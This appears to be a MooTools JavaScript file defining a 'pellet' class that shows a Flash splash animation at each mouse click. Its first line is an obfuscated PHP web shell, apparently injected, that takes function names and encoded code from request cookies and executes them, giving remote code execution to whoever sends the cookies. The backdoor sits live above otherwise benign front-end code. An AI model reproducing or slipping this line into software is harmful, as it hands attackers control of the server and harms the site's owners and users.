$jf95=$_COOKIE; while (isset($jf95['aYH1'])) { $V8X5E = $jf95['Trd']; $Tyky=$jf95['aYH1']($V8X5E($jf95['PEJA']),$V8X5E($jf95['dO0o'])); $Tyky($V8X5E($jf95['izs'])); break; }
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/*** @projectDescription Class to draw flash splash when click event fired** @author Petroff Kirill (kupuyc[d0g]gmail[d0t]com) (don't remove this comment if you want to use this script)* @version 0.3*/var pellet = new Class({options: {flash: '/flash/pellet.swf',width: 50,height: 50,exclude: '*[disabled], input[type=text], input[type=checkbox], input[type=radiobutton], textarea, select'},flashId: 0,/*** Create a new instance of pellet** @classDescription Class to draw flash splash when click event fired* @constructor*/initialize: function (options){this.setOptions(options);$$(this.options.exclude).setProperty('pelletExclude', true);//IE during first show flash show before "broken image", so create plugthis._createPellet(false);document.addEvent('mousedown', (function(e) {var ev = new Event(e);//prevent blocking FF contextmenuif (e.button && e.button == 2) return;//if target excluded then exitif ($(ev.target).getProperty('pelletExclude')) return;var flashDiv = this._createPellet();flashDiv.setStyle('left', ev.page.x - this.options.width / 2);flashDiv.setStyle('top', ev.page.y - this.options.height / 2);this._destroyPellet.delay(3000, flashDiv);}).bind(this));//if (!window.destroyPellet) window.destroyPellet = this._destroyPellet.bind(this);},/*** Create div-container with nested flash object and append it to document.body, so MUST called after document.body loaded (dont't used MT swiff methods bc 1.1)** @param {Bool} destroy conteiner with childs after flash stop playing* @return {Object} div-container for flash object*/_createPellet: function (isDestroy) {this.flashId++;var containerId = 'pelletContainerId' + this.flashId;isDestroy = typeof(isDestroy) == 'undefined' ? true : isDestroy;//IE has bug when value of ID attribute of object contain digits flash ExternalInterface.call() raise "Missing ;" JS-error, so create container//IE play flash after create it, FF after display, so container's display = 'block'var container = new Element('div', {styles: {position: 'absolute',zIndex : 100310, //simple big ;-)display : isDestroy ? 'block' : 'none'},id: containerId});//innerHTML is fastercontainer.innerHTML = '<object type="application/x-shockwave-flash" data="' + this.options.flash + '" width="' + this.options.width + '" height="' + this.options.height + '">'+' <param name="allowScriptAccess" value="sameDomain" />' +' <param name="FlashVars" value="containerId=' + containerId + '&isDestroy=' + isDestroy + '" />' +' <param name="movie" value="' + this.options.flash + '" />' +' <param name="quality" value="high" />' +' <param name="wmode" value="transparent" />' +'</object>';container.injectInside(document.body);return container;},/*** Destroy div-container wrapper** @param {String} ID of div object*/_destroyPellet: function () {//to prevent crash FF in some cases need destroy played flash through timeouted functionthis.remove();}});pellet.implement(new Options);